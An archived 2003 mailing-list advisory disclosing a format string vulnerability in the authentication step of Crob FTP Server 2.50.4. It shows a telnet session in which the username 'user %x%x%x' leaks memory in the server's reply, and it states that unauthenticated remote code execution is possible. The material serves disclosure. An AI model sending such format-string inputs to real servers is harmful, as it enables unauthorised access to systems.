Format String Vulnerability in Crob Ftp Server

From: Luca Ercoli (luca.ercoliat_private)
Date: Mon Jun 02 2003 - 09:55:10 PDT

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     ('binary' encoding is not supported, stored as-is)
    Package:        Crob Ftp Server
    Auth:		Crob Software Studio (www.crob.net/studio/ftpserver/)
    Version: 	2.50.4 Build 228
    Vulnerability:  Format String
    Risk: 	        High
    
    
    Vulnerability
    Description:
    
    A format string flaw in the authentication process allows remote attackers 
    without valid user/pass to execute arbitrary code.
    
    
    C:\>telnet 192.168.0.1 21
    
    220- Crob FTP Server V2.50.4
    220  Welcome to Crob FTP Server
    
    user %x%x%x
    
    331 Password required for 0d1250b70
    
    
    
    
    
    
    
    Luca Ercoli luca.ercoli[at]inwind.it
    



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